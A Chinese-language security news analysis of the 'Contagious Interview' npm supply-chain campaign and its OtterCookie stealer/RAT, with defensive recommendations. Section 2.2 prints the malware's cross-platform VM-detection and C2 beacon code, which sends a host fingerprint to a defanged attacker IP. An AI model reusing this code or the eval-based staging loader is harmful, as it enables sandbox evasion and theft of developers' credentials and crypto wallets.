1. 簡介

開源軟體供應鏈,特別是由 npm 註冊中心管理的 Node.js 生態系,已成為複雜 Threat actor 的主要目標。最近的攻擊,例如「Contagious Interview」攻擊,展示了一種不斷演進的策略,該策略利用 GitHub 和 Vercel 等合法的開發平台來建立彈性、多階段的攻擊基礎設施。本報告提供了攻擊鏈的詳細技術分析,重點關注惡意軟體的反分析機制、跨平台能力以及對軟體供應鏈安全的廣泛影響。

Node.js 供應鏈危機:駭客如何用 Vercel 佈局 OtterCookie 竊取加密資產? | 資訊安全新聞

1. 簡介

「Contagious Interview」攻擊的特點是其持續的節奏和對現代 JavaScript 以及以加密為中心的開發工作流程的適應 [1]。Threat actor 採用 typosquatting (建立與合法套件相似的套件名稱)來欺騙開發者安裝 Malicious payload 依賴項 [1, 2]。一旦安裝,Malicious payload 套件就會充當載入器,啟動一個複雜的序列,最終部署出一個功能強大的資訊竊取程式和遠端存取木馬 (RAT) 變體,被識別為 OtterCookie [1]。該攻擊的基礎設施因其模組化而引人注目,它將交付、暫存和命令與控制 (C2) 功能分散到不同的服務中,以增強操作安全性和 Payload 輪換 [1]。

2. 技術分析與架構分解

2.1. 多階段攻擊鏈

該行動採用複雜的多階段供應鏈攻擊模型,利用合法的開發者工具和平台來維持持久性並逃避偵測 [1]。攻擊鏈可分解為三個主要組成部分: 交付載體 (Delivery Vehicle)、 暫存伺服器 (Staging Server) 和 Malware Payload [1]。

攻擊始於 交付載體 ,一個惡意的 npm 套件,例如 tailwind-magic [1]。這個套件是合法函式庫 ( tailwind-merge ) 的 typosquatted 複製品,旨在欺騙開發者安裝它 [1, 2]。該套件的 postinstall 腳本或在匯入時執行的 Malicious payload 函式充當載入器 [1]。

該載入器透過與 暫存伺服器 通訊來啟動第二階段,該伺服器託管在 Vercel 等平台上(例如, tetrismic[.]vercel[.]app )[1]。該伺服器的主要功能是交付最新、最及時的 Payload [1]。透過將 Payload 交付與 npm 套件分離,Threat actor 可以輪換 Payload、針對每個目標客製化回應,並在第二階段啟動之前,將其最終的命令與控制 (C2) 基礎設施隔離並保持隱形 [1]。暫存伺服器將 Payload 作為 JSON 欄位返回,然後載入器使用受害者 Node.js 程序中的 eval() 函式執行它,從而授予 Threat actor 具有完整 Node.js 程序權限的任意程式碼執行能力 [1]。

最後階段是執行 Malware Payload,它被識別為 OtterCookie 資訊竊取程式和遠端存取木馬 (RAT) 的一個變體 [1]。這種惡意軟體經過高度調整,用於從開發者系統中竊取數位資產和外洩高價值機密,特別是以區塊鏈和 Web3 開發者為目標 [1]。

整體架構可以視覺化如下:

graph TD
    A[Victim Installs 
Malicious npm Package] -- 1. postinstall/import --> B(Malicious Loader Code:
src/lib/index.js);     B -- 2. HTTP POST Request
(axios) --> C("Vercel Staging Server:
tetrismic[.]vercel[.]app/api/ipcheck");     C -- 3. Returns JSON
with OtterCookie Payload --> B;     B -- 4. eval() Execution --> D(OtterCookie Malware Payload);     D -- 5. VM/Sandbox Check --> E{Is Host a VM?};     E -- Yes --> F[Terminate Execution];     E -- No --> G(Establish
Bidirectional
C2 Channel);     G -- 6. Data Exfiltration
& Remote Tasking --> H[Threat Actor
C2 Server];     style A fill:#f9f,stroke:#333 style C font-size:12px     style C fill:#ccf,stroke:#333     style D fill:#fcc,stroke:#333     style G fill:#afa,stroke:#333

2.2. 程式碼分析:反虛擬化與初始 Beacon

OtterCookie Payload 的一個關鍵組成部分是其反分析機制,它在繼續進行主感染之前檢查虛擬機 (VM) 和沙箱是否存在 [1]。在其他複雜的 Node.js 後門中也觀察到此技術,例如 YaNB [3]。惡意軟體使用 setHeader() 函式對主機進行虛擬化分析,然後將其第一個 HTTP Request 發送到 C2 伺服器 [1]。

以下 JavaScript 程式碼片段取自 Threat actor 的 GitHub 儲存庫,闡釋了跨平台的 VM 偵測邏輯 [1]:

  1. // VM, sandbox check, and initial C2 beacon
  2. const setHeader = async function () {
  3. try {
  4. let isVM = false;
  5. if (os.platform() == "win32") {
  6. // Windows: check model/manufacturer for VM vendors
  7. let output = execSync("wmic computersystem get model,manufacturer", { windowsHide: true });
  8. output = output.toString().toLowerCase();
  9. if (output.includes("vmware") ||
  10. output.includes("virtualbox") ||
  11. output.includes("microsoft corporation") ||
  12. output.includes("qemu")) {
  13. isVM = true;
  14. }
  15. } else if (os.platform() == "darwin") {
  16. // macOS: inspect hardware profile for virtualization markers
  17. let output = execSync("system_profiler SPHardwareDataType", { windowsHide: true });
  18. output = output.toString().toLowerCase();
  19. if (/vmware|virtualbox|qemu|parallels|virtual/i.test(output)) isVM = true;
  20. } else if (os.platform() == "linux") {
  21. // Linux: scan /proc/cpuinfo for hypervisor strings
  22. let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase();
  23. if (/hypervisor|vmware|virtio|kvm|qemu|xen/i.test(output)) isVM = true;
  24. }
  25. // Send host fingerprint and VM flag to C2
  26. const result = await axios.post(
  27. "http://144[.]172[.]104[.]117:5918/api/service/process/" + uid,
  28. {
  29. OS: os.type(),
  30. platform: os.platform(),
  31. release: os.release() + (isVM ? " (VM)" : " (Local)"),
  32. host: os.hostname(),
  33. userinfo: os.userInfo(),
  34. uid,
  35. t: 66
  36. }
  37. );
  38. // C2 tells client to stop if flagged as VM
  39. if (result.data && result.data.release.includes("(VM)")) {
  40. return false;
  41. } else {
  42. return true;
  43. }
  44. } catch (e) {
  45. console.log(e.message);
  46. return true;
  47. }
  48. }

詳細程式碼分析:

該程式碼展示了對 跨平台能力 的關注,這是現代基於 Node.js 的惡意軟體的常見特徵 [3]。它使用 os.platform() 來確定作業系統並執行作業系統特定的命令來檢查虛擬化 Artifact 。使用 execSync 是 Malicious payload 腳本的關鍵指標,因為它允許 Node.js 程序執行任意系統命令 [1]。

  • Windows 偵測 :它執行 wmic computersystem get model,manufacturer [1]。輸出會檢查 vmware virtualbox microsoft corporation (用於 Hyper-V) 或 qemu 等字串。
  • macOS 偵測 :它使用 system_profiler SPHardwareDataType 並檢查硬體設定檔中是否存在虛擬化標記,例如 vmware virtualbox qemu parallels virtual [1]。
  • Linux 偵測 :它讀取 /proc/cpuinfo 檔案並掃描 hypervisor 字串,例如 hypervisor vmware virtio kvm qemu xen [1]。

如果通過 VM 檢查,腳本會透過使用 axios HTTP POST Request 將主機 Fingerprint 發送到 C2 伺服器 ( http://144[.]172[.]104[.]117:5918 ) [1]。Data 包括作業系統類型、平台、版本、主機名稱和使用者資訊。至關重要的是,C2 伺服器可以透過在其回應 Data 中包含 (VM) 來指示客戶端停止執行 [1]。這是一個 C2-controlled kill switch (C2 控制的終止開關),一種避免在安全研究人員的沙箱上暴露 Payload 的機制 [1]。

2.3. 惡意軟體能力與資料外洩

一旦 OtterCookie Payload 完全啟動,它就會建立一個長期存在的 C2 通道,並作為資訊竊取程式和 RAT 的組合運作 [1]。它的能力廣泛,專注於高價值 Data 竊取:

  • 遠端存取 :為 Threat actor 提供互動式 Reverse shell [1]。
  • 監控 :包括持續的剪貼簿竊取、全系統按鍵記錄以及多螢幕截圖擷取 [1]。
  • 認證蒐集 :執行遞迴檔案系統掃描,旨在蒐集認證、助記詞、錢包 Data 和敏感文件 [1]。它特別針對 Windows、macOS 和 Linux 上 Chrome 和 Brave 設定檔 Data 以及一組廣泛的流行加密錢包瀏覽器擴充功能 [1]。

這種對加密資產的關注與相關供應鏈攻擊分析中的發現一致,其中 Malicious payload npm 套件被明確設計用於竊取以太坊 (Ethereum) 和幣安智能鏈 (Binance Smart Chain, BSC) 錢包資產 [2]。在那些案例中,竊取機制涉及檢查環境變數、提取私鑰,並發起交易到 Threat actor 控制的 hardcoded 錢包地址 [2]。使用 obfuscated JavaScript (混淆的 JavaScript)是這些攻擊的共同點,用於逃避靜態分析和延遲偵測 [2]。例如,一種觀察到的混淆技術涉及字串的十六進位編碼,以掩蓋函式名稱和敏感資料,這是阻礙逆向工程的一種策略 [2]。

3. 對供應鏈安全的更廣泛影響

「Contagious Interview」攻擊突顯了開源供應鏈中固有的漏洞,這些漏洞透過多個載體被利用。使用 typosquatting 模仿 tailwind-merge 等合法套件是一種持續且有效的社交工程技術 [1, 2]。此外,攻擊利用了與 npm、GitHub 和 Vercel 相關的信任 [1]。這種將 Malicious payload 活動與合法基礎設施相結合的做法,使得自動化安全工具和人工分析師的偵測難度顯著增加。

使用 Node.js 作為這些 RAT 和資訊竊取程式的主要平台是策略性的。Node.js 的跨平台特性以及透過 execSync 等函式執行任意系統命令的能力,使其成為對手理想的工具 [3]。攻擊方法論依賴一個小型載入器套件從暫存伺服器擷取一個更大、經常更新的 Payload,這是一種 依賴鏈滲透 (Dependency Chain Infiltration) 的形式 [1]。這種技術,與過去高知名度的事件(例如 event-stream 攻擊)相似,利用了開發者對其依賴項所寄予的隱性信任 [3]。使用 postinstall 腳本或模組匯入的副作用允許惡意軟體在安裝後立即執行程式碼,這是 Node.js 生態系統中的一個關鍵漏洞 [1]。

防禦策略必須演進以應對這種模組化和規避性的 Threat actor 模型。針對此類威脅的防禦需要多層次的方法,包括增強供應鏈安全性、監控 Node.js 程序執行中的可疑命令,以及對第三方依賴項進行嚴格審計 [3]。具體來說,安全團隊應專注於:

  • 執行時監控 :標記未經授權的 node.exe 執行,並檢查命令列參數中是否存在可疑模式,例如 inline JavaScript 執行 [3]。
  • 依賴項審計 :使用第三方套件掃描工具來審計程式碼並對 npm 帳戶強制執行雙因素認證 [3]。
  • 異常偵測 :實施進階偵測自訂加密和混淆技術,例如在相關 Node.js 後門中觀察到的 XOR 加密 C2 流量 [3]。

這些攻擊的複雜性,結合了社交工程、加密和反分析技術,突顯了持續警惕的必要性。隨著 Threat actor 不斷發展其戰術、技術和程序 (TTP),防禦者必須優先考慮供應鏈完整性、執行時監控和架構彈性,以保護軟體開發生命週期免受這些持續且不斷演進的威脅。

4. 結論

「Contagious Interview」攻擊的分析揭示了一個高度適應性強且技術精湛的 Threat actor 群體,他們正在利用 Node.js 生態系。這次攻擊的成功取決於其模組化架構——分離載入器、暫存和 C2 組件——以及使用反分析技術來繞過安全沙箱。程式碼分析突顯了 OtterCookie 惡意軟體的跨平台性質及其對開發者認證和加密資產的特定目標設定。為了減輕這些風險,業界必須超越靜態分析,實施穩健的執行時安全措施、持續的依賴項審計和強大的認證實踐,以保護開源供應鏈免受這些持久且不斷演進的威脅。